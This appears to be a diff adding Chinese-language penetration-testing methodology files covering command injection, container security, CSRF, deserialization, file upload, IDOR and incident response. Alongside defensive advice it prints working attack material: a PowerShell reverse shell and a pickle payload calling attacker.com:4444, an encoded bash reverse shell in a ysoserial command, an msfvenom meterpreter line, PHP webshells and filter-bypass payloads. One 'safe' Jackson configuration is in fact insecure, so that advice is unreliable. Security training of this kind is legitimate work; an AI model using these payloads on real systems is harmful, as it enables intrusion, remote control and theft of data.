& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
## 绕过技术
### 空格绕过
```
${IFS}id
${IFS}whoami
$IFS$9id
<>
%09 (Tab)
%20 (Space)
```
### 命令分隔符绕过
**编码绕过:**
```
%3b (;)
%26 (&)
%7c (|)
```
**换行绕过:**
```
%0a (换行)
%0d (回车)
```
### 关键字过滤绕过
**变量拼接:**
```bash
a=w;b=ho;c=ami;$a$b$c
```
**通配符:**
```bash
/bin/c?t /etc/passwd
/usr/bin/ca* /etc/passwd
```
**引号绕过:**
```bash
w'h'o'a'm'i
w"h"o"a"m"i
```
**反斜杠:**
```bash
w\ho\am\i
```
**Base64编码:**
```bash
echo "d2hvYW1p" | base64 -d | bash
```
### 长度限制绕过
**使用文件:**
```bash
echo "id" > /tmp/c
sh /tmp/c
```
**使用环境变量:**
```bash
export x='id';$x
```
## 工具使用
### Commix
```bash
# 基础扫描
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
# 指定注入点
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
# 获取Shell
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
```
### Burp Suite
1. 拦截请求
2. 发送到Intruder
3. 使用命令注入Payload列表
4. 观察响应或时间延迟
## 验证和报告
### 验证步骤
1. 确认可以执行系统命令
2. 验证命令执行结果
3. 评估影响(系统控制、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和输入参数
- 可执行的命令类型
- 完整的利用步骤和POC
- 修复建议(输入验证、参数化、白名单等)
## 防护措施
### 推荐方案
1. **避免命令执行**
- 使用API替代系统命令
- 使用库函数替代命令
2. **输入验证**
```python
import re
def validate_ip(ip):
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
raise ValueError("Invalid IP")
parts = ip.split('.')
if not all(0 <= int(p) <= 255 for p in parts):
raise ValueError("Invalid IP range")
return ip
```
3. **参数化命令**
```python
import subprocess
# 危险
subprocess.call(['ping', '-c', '1', user_input])
# 安全 - 使用参数列表
subprocess.call(['ping', '-c', '1', validated_ip])
```
4. **白名单验证**
```python
ALLOWED_COMMANDS = ['ping', 'nslookup']
ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
if command not in ALLOWED_COMMANDS:
raise ValueError("Command not allowed")
```
5. **最小权限**
- 使用低权限用户运行应用
- 限制文件系统访问
- 使用chroot或容器隔离
6. **输出过滤**
- 限制输出内容
- 过滤敏感信息
- 记录命令执行日志
## 注意事项
- 仅在授权测试环境中进行
- 避免对系统造成破坏
- 注意不同操作系统的命令差异
- 测试时注意命令执行的影响范围
+377
View File
@@ -0,0 +1,377 @@
---
name: container-security-testing
description: 容器安全测试的专业技能和方法论
version: 1.0.0
---
# 容器安全测试
## 概述
容器安全测试是确保容器化应用安全性的重要环节。本技能提供容器安全测试的方法、工具和最佳实践,涵盖Docker、Kubernetes等容器技术。
## 测试范围
### 1. 镜像安全
**检查项目:**
- 基础镜像漏洞
- 依赖包漏洞
- 镜像配置
- 敏感信息
### 2. 运行时安全
**检查项目:**
- 容器权限
- 资源限制
- 网络隔离
- 文件系统
### 3. 编排安全
**检查项目:**
- Kubernetes配置
- 服务账户
- RBAC
- 网络策略
## Docker安全测试
### 镜像扫描
**使用Trivy**
```bash
# 扫描镜像
trivy image nginx:latest
# 扫描本地镜像
trivy image --input nginx.tar
# 只显示高危漏洞
trivy image --severity HIGH,CRITICAL nginx:latest
```
**使用Clair**
```bash
# 启动Clair
docker run -d --name clair clair:latest
# 扫描镜像
clair-scanner --ip 192.168.1.100 nginx:latest
```
**使用Docker Bench**
```bash
# 运行Docker安全基准测试
docker run --rm --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /etc:/etc:ro \
-v /usr/bin/containerd:/usr/bin/containerd:ro \
-v /usr/bin/runc:/usr/bin/runc:ro \
-v /usr/lib/systemd:/usr/lib/systemd:ro \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
--label docker_bench_security \
docker/docker-bench-security
```
### 容器配置检查
**检查Dockerfile**
```dockerfile
# 安全问题示例
FROM ubuntu:latest # 使用latest标签
RUN apt-get update && apt-get install -y curl # 未指定版本
COPY . /app # 可能包含敏感文件
ENV PASSWORD=secret # 硬编码密码
USER root # 使用root用户
```
**安全最佳实践:**
```dockerfile
# 使用特定版本
FROM ubuntu:20.04
# 指定包版本
RUN apt-get update && apt-get install -y curl=7.68.0-1ubuntu2.7
# 使用非root用户
RUN useradd -m appuser
USER appuser
# 最小化镜像
FROM alpine:3.15
# 多阶段构建
FROM golang:1.18 AS builder
WORKDIR /app
COPY . .
RUN go build -o app
FROM alpine:3.15
COPY --from=builder /app/app /app
```
### 运行时检查
**检查容器权限:**
```bash
# 检查特权容器
docker ps --filter "label=privileged=true"
# 检查挂载的主机目录
docker inspect container_name | grep -A 10 Mounts
# 检查容器网络
docker network inspect network_name
```
**检查资源限制:**
```bash
# 检查内存限制
docker stats container_name
# 检查CPU限制
docker inspect container_name | grep -i cpu
```
## Kubernetes安全测试
### 配置检查
**使用kube-bench**
```bash
# 运行kube-bench
kube-bench run
# 检查特定基准
kube-bench run --targets master,node,etcd
```
**使用kube-hunter**
```bash
# 运行kube-hunter
kube-hunter --remote target-ip
# 主动模式
kube-hunter --active
```
### Pod安全
**检查Pod安全策略:**
```yaml
# 不安全的Pod配置
apiVersion: v1
kind: Pod
spec:
containers:
- name: app
image: nginx
securityContext:
privileged: true # 特权模式
runAsUser: 0 # root用户
```
**安全配置:**
```yaml
apiVersion: v1
kind: Pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
containers:
- name: app
image: nginx
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE
```
### RBAC检查
**检查角色权限:**
```bash
# 列出所有角色
kubectl get roles --all-namespaces
# 检查角色绑定
kubectl get rolebindings --all-namespaces
# 检查集群角色
kubectl get clusterroles
# 检查用户权限
kubectl auth can-i --list --as=system:serviceaccount:default:sa-name
```
**常见问题:**
- 过度权限
- 未使用的角色
- 未使用的服务账户
### 网络策略
**检查网络策略:**
```bash
# 列出所有网络策略
kubectl get networkpolicies --all-namespaces
# 检查网络策略配置
kubectl describe networkpolicy policy-name -n namespace
```
**网络策略示例:**
```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
```
## 工具使用
### Falco
**运行时安全监控:**
```bash
# 安装Falco
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco
# 检查规则
falco -r /etc/falco/rules.d/
```
### Aqua Security
```bash
# 扫描镜像
aqua image scan nginx:latest
# 扫描Kubernetes集群
aqua k8s scan
```
### Snyk
```bash
# 扫描Dockerfile
snyk test --docker nginx:latest
# 扫描Kubernetes配置
snyk iac test k8s/
```
## 测试清单
### 镜像安全
- [ ] 扫描基础镜像漏洞
- [ ] 扫描依赖包漏洞
- [ ] 检查Dockerfile配置
- [ ] 检查敏感信息泄露
### 运行时安全
- [ ] 检查容器权限
- [ ] 检查资源限制
- [ ] 检查网络隔离
- [ ] 检查文件系统挂载
### 编排安全
- [ ] 检查Kubernetes配置
- [ ] 检查RBAC配置
- [ ] 检查网络策略
- [ ] 检查Pod安全策略
## 常见安全问题
### 1. 镜像漏洞
**问题:**
- 基础镜像包含漏洞
- 依赖包包含漏洞
- 未及时更新
**修复:**
- 定期扫描镜像
- 及时更新基础镜像
- 使用最小化镜像
### 2. 过度权限
**问题:**
- 容器以root运行
- 特权模式
- 挂载敏感目录
**修复:**
- 使用非root用户
- 禁用特权模式
- 限制文件系统访问
### 3. 配置错误
**问题:**
- 默认配置不安全
- 网络策略缺失
- RBAC配置错误
**修复:**
- 遵循安全最佳实践
- 实施网络策略
- 正确配置RBAC
### 4. 敏感信息泄露
**问题:**
- 镜像包含密钥
- 环境变量暴露
- 配置文件泄露
**修复:**
- 使用密钥管理
- 避免硬编码
- 使用Secret对象
## 最佳实践
### 1. 镜像安全
- 使用官方基础镜像
- 定期更新镜像
- 扫描镜像漏洞
- 最小化镜像大小
### 2. 运行时安全
- 使用非root用户
- 限制容器权限
- 实施资源限制
- 启用安全上下文
### 3. 编排安全
- 配置网络策略
- 实施RBAC
- 使用Pod安全策略
- 启用审计日志
## 注意事项
- 仅在授权环境中进行测试
- 避免对生产环境造成影响
- 注意不同容器平台的差异
- 定期进行安全扫描
+199
View File
@@ -0,0 +1,199 @@
---
name: csrf-testing
description: CSRF跨站请求伪造测试的专业技能和方法论
version: 1.0.0
---
# CSRF跨站请求伪造测试
## 概述
CSRFCross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。
## 漏洞原理
- 攻击者诱导用户访问恶意页面
- 恶意页面自动发送请求到目标网站
- 浏览器自动携带用户的认证信息(Cookie、Session
- 目标网站误认为是用户合法操作
## 测试方法
### 1. 识别敏感操作
- 密码修改
- 邮箱修改
- 转账操作
- 权限变更
- 数据删除
- 状态更新
### 2. 检测CSRF Token
**检查是否有Token保护:**
```html
<!-- 有Token保护 -->
<form method="POST" action="/change-password">
<input type="hidden" name="csrf_token" value="abc123">
<input type="password" name="new_password">
</form>
<!-- 无Token保护 - 存在CSRF风险 -->
<form method="POST" action="/change-email">
<input type="email" name="new_email">
</form>
```
### 3. 验证Token有效性
**测试Token是否可预测:**
- Token是否基于时间戳
- Token是否基于用户ID
- Token是否可重复使用
- Token是否在多个请求间共享
### 4. 检查Referer验证
**测试Referer检查是否可绕过:**
```javascript
// 正常请求
Referer: https://target.com/change-password
// 测试绕过
Referer: https://target.com.evil.com
Referer: https://evil.com/?target.com
Referer: ()
```
## 利用技术
### 基础CSRF攻击
**HTML表单自动提交:**
```html
<form action="https://target.com/api/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
```
### JSON CSRF
**绕过Content-Type检查:**
```html
<!-- 使用form表单提交JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
```
### GET请求CSRF
**利用GET请求进行攻击:**
```html
<img src="https://target.com/api/delete?id=123">
```
## 绕过技术
### Token绕过
**如果Token在Cookie中:**
```javascript
// 如果Token同时存在于Cookie和表单中
// 可以尝试只提交Cookie中的Token
fetch('https://target.com/api/action', {
method: 'POST',
credentials: 'include',
body: 'action=delete&id=123'
// 不包含csrf_token参数,依赖Cookie
});
```
### SameSite Cookie绕过
**利用子域名:**
- 如果SameSite=LaxGET请求仍可携带Cookie
- 利用子域名进行攻击
### 双重提交Cookie
**绕过Token验证:**
```html
<!-- 如果Token在Cookie中,且验证逻辑有缺陷 -->
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="csrf_token" value="">
<script>
// 从Cookie中读取Token
document.cookie.split(';').forEach(c => {
if(c.trim().startsWith('csrf_token=')) {
document.querySelector('input[name="csrf_token"]').value =
c.split('=')[1];
}
});
</script>
</form>
```
## 工具使用
### Burp Suite
**使用CSRF PoC生成器:**
1. 拦截目标请求
2. 右键 → Engagement tools → Generate CSRF PoC
3. 测试生成的PoC
### OWASP ZAP
```bash
# 使用ZAP进行CSRF扫描
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
```
## 验证和报告
### 验证步骤
1. 确认目标操作没有CSRF Token保护
2. 构造恶意请求并验证可执行
3. 评估影响(数据泄露、权限提升、资金损失等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和受影响的操作
- 攻击场景和影响范围
- 完整的利用步骤和PoC
- 修复建议(CSRF Token、SameSite Cookie、Referer验证等)
## 防护措施
### 推荐方案
1. **CSRF Token**
- 每个表单包含唯一Token
- Token存储在Session中
- 验证Token有效性
2. **SameSite Cookie**
```javascript
Set-Cookie: session=abc123; SameSite=Strict; Secure
```
3. **双重提交Cookie**
- Token同时存在于Cookie和表单
- 验证两者是否匹配
4. **Referer验证**
- 验证Referer是否为同源
- 注意空Referer的处理
## 注意事项
- 仅在授权测试环境中进行
- 避免对用户账户造成实际影响
- 记录所有测试步骤
- 考虑不同浏览器的行为差异
+310
View File
@@ -0,0 +1,310 @@
---
name: deserialization-testing
description: 反序列化漏洞测试的专业技能和方法论
version: 1.0.0
---
# 反序列化漏洞测试
## 概述
反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。
## 漏洞原理
应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
## 常见格式
### Java
**常见库:**
- Java原生序列化
- Jackson
- Fastjson
- XStream
- Apache Commons Collections
### PHP
**常见函数:**
- unserialize()
- json_decode()
### Python
**常见模块:**
- pickle
- yaml
- json
### .NET
**常见类:**
- BinaryFormatter
- SoapFormatter
- DataContractSerializer
## 测试方法
### 1. 识别序列化数据
**Java序列化特征:**
```
AC ED 00 05 (十六进制)
rO0 (Base64)
```
**PHP序列化特征:**
```
O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}
```
**Python pickle特征:**
```
\x80\x03
```
### 2. 检测反序列化点
**常见位置:**
- Cookie值
- Session数据
- API参数
- 文件上传
- 缓存数据
- 消息队列
### 3. Java反序列化
**Apache Commons Collections利用:**
```java
// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
```
**常见Gadget链:**
- CommonsCollections1-7
- Spring1-2
- ROME
- Jdk7u21
### 4. PHP反序列化
**基础测试:**
```php
<?php
class Test {
public $cmd = "id";
function __destruct() {
system($this->cmd);
}
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>
```
**魔术方法利用:**
- __destruct()
- __wakeup()
- __toString()
- __call()
### 5. Python pickle
**基础测试:**
```python
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE())
```
## 利用技术
### Java RCE
**使用ysoserial**
```bash
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
# Base64编码
base64 -w 0 payload.bin
```
**手动构造:**
```java
// 使用Gadget链构造恶意对象
// 参考ysoserial源码
```
### PHP RCE
**利用POP链:**
```php
<?php
class A {
public $b;
function __destruct() {
$this->b->test();
}
}
class B {
public $c;
function test() {
call_user_func($this->c, "id");
}
}
$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>
```
### Python RCE
**Pickle RCE**
```python
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))
```
## 绕过技术
### 编码绕过
**Base64编码:**
```
原始: rO0ABXNy...
编码: ck8wQUJYTnk...
```
**URL编码:**
```
%72%4F%00%AB...
```
### 过滤器绕过
**使用不同Gadget链:**
- 如果CommonsCollections被过滤,尝试Spring
- 如果某个版本被过滤,尝试其他版本
### 类名混淆
**使用反射:**
```java
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
```
## 工具使用
### ysoserial
```bash
# 列出可用Gadget
java -jar ysoserial.jar
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
# 生成Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64
```
### PHPGGC
```bash
# 列出可用Gadget
./phpggc -l
# 生成Payload
./phpggc Monolog/RCE1 system id
# 生成编码Payload
./phpggc -b Monolog/RCE1 system id
```
### Burp Suite
1. 拦截包含序列化数据的请求
2. 使用插件生成Payload
3. 替换原始数据
4. 观察响应
## 验证和报告
### 验证步骤
1. 确认可以控制序列化数据
2. 验证反序列化触发代码执行
3. 评估影响(RCE、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和序列化数据格式
- 使用的Gadget链或利用方式
- 完整的利用步骤和PoC
- 修复建议(输入验证、使用安全序列化等)
## 防护措施
### 推荐方案
1. **避免反序列化不可信数据**
- 使用JSON替代
- 使用安全的序列化格式
2. **输入验证**
```java
// 白名单验证类名
private static final Set<String> ALLOWED_CLASSES =
Set.of("com.example.SafeClass");
private Object readObject(ObjectInputStream ois) {
// 验证类名
// ...
}
```
3. **使用安全配置**
```java
// Jackson配置
objectMapper.enableDefaultTyping();
objectMapper.setVisibility(PropertyAccessor.FIELD,
JsonAutoDetect.Visibility.ANY);
```
4. **类加载器隔离**
- 使用自定义ClassLoader
- 限制可加载的类
5. **监控和日志**
- 记录反序列化操作
- 监控异常行为
## 注意事项
- 仅在授权测试环境中进行
- 注意不同版本库的Gadget链差异
- 测试时注意Payload大小限制
- 了解目标应用的依赖库版本
+328
View File
@@ -0,0 +1,328 @@
---
name: file-upload-testing
description: 文件上传漏洞测试的专业技能和方法论
version: 1.0.0
---
# 文件上传漏洞测试
## 概述
文件上传功能是Web应用常见功能,但存在多种安全风险。本技能提供文件上传漏洞的检测、利用和防护方法。
## 漏洞类型
### 1. 未验证文件类型
**仅前端验证:**
```javascript
// 可被绕过
if (!file.name.endsWith('.jpg')) {
alert('只允许上传图片');
}
```
### 2. 文件内容未验证
**仅检查扩展名:**
```php
// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}
```
### 3. 路径遍历
**未过滤文件名:**
```
filename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\sam
```
### 4. 文件名覆盖
**可预测的文件名:**
```
uploads/1.jpg
uploads/2.jpg
```
## 测试方法
### 1. 基础检测
**测试各种文件类型:**
- .php, .jsp, .asp, .aspx
- .php3, .php4, .php5, .phtml
- .jspx, .jspf
- .htaccess, .htpasswd
**测试双扩展名:**
```
shell.php.jpg
shell.jpg.php
```
**测试大小写:**
```
shell.PHP
shell.PhP
```
### 2. 内容类型绕过
**修改Content-Type**
```
Content-Type: image/jpeg
# 但文件内容是PHP代码
```
**Magic Bytes**
```php
// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>
```
### 3. 解析漏洞
**Apache解析漏洞:**
```
shell.php.xxx # Apache可能解析为PHP
```
**IIS解析漏洞:**
```
shell.asp;.jpg
shell.asp:.jpg
```
**Nginx解析漏洞:**
```
shell.jpg%00.php
```
### 4. 竞争条件
**文件上传后立即访问:**
```python
# 上传.php文件,在上传完成但删除前访问
import requests
import threading
def upload():
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
requests.post('http://target.com/upload', files=files)
def access():
time.sleep(0.1)
requests.get('http://target.com/uploads/shell.php?cmd=id')
threading.Thread(target=upload).start()
threading.Thread(target=access).start()
```
## 利用技术
### PHP WebShell
**基础WebShell**
```php
<?php system($_GET['cmd']); ?>
```
**一句话木马:**
```php
<?php eval($_POST['a']); ?>
```
**绕过过滤:**
```php
<?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=system
```
### .htaccess利用
**上传.htaccess**
```
AddType application/x-httpd-php .jpg
```
**然后上传shell.jpg(实际是PHP代码)**
### 图片马
**GIF图片马:**
```php
GIF89a
<?php
phpinfo();
?>
```
**PNG图片马:**
```bash
# 使用工具将PHP代码嵌入PNG
python3 png2php.py shell.php shell.png
```
### 文件包含配合
**如果存在文件包含漏洞:**
```
# 上传包含PHP代码的图片
# 然后通过文件包含执行
?file=uploads/shell.jpg
```
## 绕过技术
### 扩展名绕过
**双扩展名:**
```
shell.php.jpg
shell.php;.jpg
shell.php%00.jpg
```
**大小写:**
```
shell.PHP
shell.PhP
```
**特殊字符:**
```
shell.php.
shell.php
shell.php%20
```
### Content-Type绕过
**修改请求头:**
```
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
```
### Magic Bytes绕过
**添加文件头:**
```php
// JPEG
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>
// GIF
GIF89a<?php phpinfo(); ?>
// PNG
\x89\x50\x4E\x47<?php phpinfo(); ?>
```
### 代码混淆
**使用短标签:**
```php
<?= system($_GET['cmd']); ?>
```
**使用变量:**
```php
<?php
$a='sys';
$b='tem';
$a.$b($_GET['cmd']);
```
## 工具使用
### Burp Suite
1. 拦截文件上传请求
2. 修改文件名和内容
3. 测试各种绕过技术
### Upload Bypass
```bash
# 使用各种技术测试文件上传
python upload_bypass.py -u http://target.com/upload -f shell.php
```
### WebShell生成
```bash
# 生成各种WebShell
msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f raw > shell.php
```
## 验证和报告
### 验证步骤
1. 确认可以上传恶意文件
2. 验证文件可以执行
3. 评估影响(命令执行、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和上传功能
- 可上传的文件类型和执行方式
- 完整的利用步骤和PoC
- 修复建议(文件类型验证、内容检查、安全存储等)
## 防护措施
### 推荐方案
1. **文件类型白名单**
```python
ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'}
ext = filename.rsplit('.', 1)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError("File type not allowed")
```
2. **文件内容验证**
```python
import magic
file_type = magic.from_buffer(file_content, mime=True)
if not file_type.startswith('image/'):
raise ValueError("Invalid file content")
```
3. **重命名文件**
```python
import uuid
filename = str(uuid.uuid4()) + '.' + ext
```
4. **隔离存储**
- 文件存储在Web根目录外
- 通过脚本代理访问
- 禁用执行权限
5. **文件扫描**
- 使用杀毒软件扫描
- 检查文件内容
- 移除可执行权限
6. **大小限制**
```python
MAX_SIZE = 5 * 1024 * 1024 # 5MB
if file.size > MAX_SIZE:
raise ValueError("File too large")
```
## 注意事项
- 仅在授权测试环境中进行
- 避免上传恶意文件到生产环境
- 测试后及时清理
- 注意不同服务器的解析差异
+319
View File
@@ -0,0 +1,319 @@
---
name: idor-testing
description: IDOR不安全的直接对象引用测试的专业技能和方法论
version: 1.0.0
---
# IDOR不安全的直接对象引用测试
## 概述
IDORInsecure Direct Object Reference)是一种访问控制漏洞,当应用程序直接使用用户提供的输入来访问资源,而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。
## 漏洞原理
应用程序使用可预测的标识符(如ID、文件名)直接引用资源,未验证当前用户是否有权限访问该资源。
**危险代码示例:**
```php
// 直接使用用户输入的ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
```
## 测试方法
### 1. 识别直接对象引用
**常见资源类型:**
- 用户ID
- 文件ID/文件名
- 订单ID
- 文档ID
- 账户ID
- 记录ID
**常见位置:**
- URL参数
- POST数据
- Cookie值
- HTTP头
- 文件路径
### 2. 枚举测试
**顺序ID测试:**
```
/user?id=1
/user?id=2
/user?id=3
```
**UUID测试:**
```
/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001
```
**文件名测试:**
```
/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdf
```
### 3. 水平权限测试
**访问其他用户资源:**
```
当前用户ID: 100
测试: /user?id=101
测试: /user?id=102
```
**访问其他用户文件:**
```
/files/user100_document.pdf
测试: /files/user101_document.pdf
```
### 4. 垂直权限测试
**普通用户访问管理员资源:**
```
/admin/users?id=1
/admin/settings
/admin/logs
```
## 利用技术
### 用户信息泄露
**枚举用户资料:**
```bash
# 顺序枚举
for i in {1..1000}; do
curl "https://target.com/user?id=$i"
done
# 观察响应差异
```
### 文件访问
**访问其他用户文件:**
```
/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf
```
**目录遍历结合:**
```
/files/../admin/config.php
/files/../../etc/passwd
```
### 数据修改
**修改其他用户数据:**
```http
POST /api/user/update
Content-Type: application/json
{
"id": 101,
"email": "attacker@evil.com"
}
```
### 批量操作
**批量获取数据:**
```python
import requests
for user_id in range(1, 1000):
response = requests.get(f'https://target.com/api/user/{user_id}')
if response.status_code == 200:
print(f"User {user_id}: {response.json()}")
```
## 绕过技术
### ID混淆
**Base64编码:**
```
原始ID: 123
编码: MTIz
URL: /user?id=MTIz
```
**哈希值:**
```
原始ID: 123
哈希: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70
```
### 参数名混淆
**使用不同参数名:**
```
/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123
```
### HTTP方法绕过
**尝试不同HTTP方法:**
```
GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123
```
### 路径混淆
**尝试不同路径:**
```
/api/v1/user/123
/api/user/123
/user/123
/users/123
```
## 工具使用
### Burp Suite
**使用Intruder**
1. 拦截请求
2. 发送到Intruder
3. 标记ID参数
4. 使用数字序列或自定义列表
5. 观察响应差异
**使用Repeater**
1. 手动修改ID
2. 测试不同值
3. 观察响应
### OWASP ZAP
```bash
# 使用ZAP进行IDOR扫描
zap-cli active-scan --scanners all http://target.com
```
### Python脚本
```python
import requests
import json
def test_idor(base_url, user_id_range):
for user_id in user_id_range:
url = f"{base_url}/user?id={user_id}"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print(f"User {user_id}: {data.get('email', 'N/A')}")
test_idor("https://target.com", range(1, 100))
```
## 验证和报告
### 验证步骤
1. 确认可以访问未授权的资源
2. 验证可以读取、修改或删除其他用户数据
3. 评估影响(数据泄露、隐私侵犯等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和资源标识符
- 可访问的未授权资源
- 完整的利用步骤和PoC
- 修复建议(访问控制、资源映射等)
## 防护措施
### 推荐方案
1. **访问控制验证**
```python
def get_user_data(user_id, current_user_id):
# 验证权限
if user_id != current_user_id:
raise PermissionDenied("Cannot access other user's data")
# 返回数据
return db.get_user(user_id)
```
2. **间接对象引用**
```python
# 使用映射表
user_mapping = {
'abc123': 100,
'def456': 101,
'ghi789': 102
}
def get_user(mapped_id):
real_id = user_mapping.get(mapped_id)
if not real_id:
raise NotFound()
return db.get_user(real_id)
```
3. **基于角色的访问控制**
```python
def check_permission(user, resource):
if user.role == 'admin':
return True
if resource.owner_id == user.id:
return True
return False
```
4. **资源所有权验证**
```python
def update_user_data(user_id, data, current_user):
user = db.get_user(user_id)
# 验证所有权
if user.id != current_user.id and current_user.role != 'admin':
raise PermissionDenied()
# 更新数据
db.update_user(user_id, data)
```
5. **使用不可预测的标识符**
```python
import uuid
# 使用UUID替代顺序ID
resource_id = str(uuid.uuid4())
```
6. **最小权限原则**
- 只返回用户有权限访问的数据
- 使用数据过滤
- 限制可访问的资源范围
## 注意事项
- 仅在授权测试环境中进行
- 避免访问或修改真实用户数据
- 注意不同资源的访问控制差异
- 测试时注意请求频率,避免触发防护
+272
View File
@@ -0,0 +1,272 @@
---
name: incident-response
description: 安全事件响应的专业技能和方法论
version: 1.0.0
---
# 安全事件响应
## 概述
安全事件响应是处理安全事件的关键流程。本技能提供安全事件响应的方法、工具和最佳实践。
## 响应流程
### 1. 准备阶段
**准备工作:**
- 建立响应团队
- 制定响应计划
- 准备工具和资源
- 建立通信渠道
### 2. 识别阶段
**识别事件:**
- 监控告警
- 异常检测
- 日志分析
- 用户报告
### 3. 遏制阶段
**遏制措施:**
- 隔离受影响系统
- 禁用账户
- 阻断网络连接
- 备份证据
### 4. 清除阶段
**清除威胁:**
- 移除恶意软件
- 修复漏洞
- 重置凭证
- 清理后门
### 5. 恢复阶段
**恢复系统:**
- 恢复备份
- 验证系统完整性
- 监控系统
- 逐步恢复服务
### 6. 总结阶段
**总结经验:**
- 事件报告
- 经验教训
- 改进措施
- 更新流程
## 工具使用
### 日志分析
**使用Splunk**
```bash
# 搜索日志
index=security event_type="failed_login"
# 统计分析
index=security | stats count by src_ip
# 时间序列分析
index=security | timechart count by event_type
```
**使用ELK**
```bash
# Elasticsearch查询
GET /logs/_search
{
"query": {
"match": {
"event_type": "malware"
}
}
}
```
### 取证工具
**使用Volatility**
```bash
# 分析内存镜像
volatility -f memory.dump imageinfo
# 列出进程
volatility -f memory.dump --profile=Win7SP1x64 pslist
# 提取进程内存
volatility -f memory.dump --profile=Win7SP1x64 memdump -p 1234 -D output/
```
**使用Autopsy**
```bash
# 启动Autopsy
# 创建案例
# 添加证据
# 分析数据
```
### 网络分析
**使用Wireshark**
```bash
# 捕获流量
wireshark -i eth0
# 分析PCAP文件
wireshark -r capture.pcap
# 过滤流量
# 显示过滤器: ip.addr == 192.168.1.100
# 捕获过滤器: host 192.168.1.100
```
**使用tcpdump**
```bash
# 捕获流量
tcpdump -i eth0 -w capture.pcap
# 分析流量
tcpdump -r capture.pcap -A
```
## 事件类型
### 恶意软件
**响应步骤:**
1. 隔离受影响系统
2. 收集样本
3. 分析恶意软件
4. 清除威胁
5. 修复漏洞
**工具:**
- VirusTotal
- Cuckoo Sandbox
- YARA规则
### 数据泄露
**响应步骤:**
1. 确认泄露范围
2. 遏制泄露
3. 评估影响
4. 通知相关方
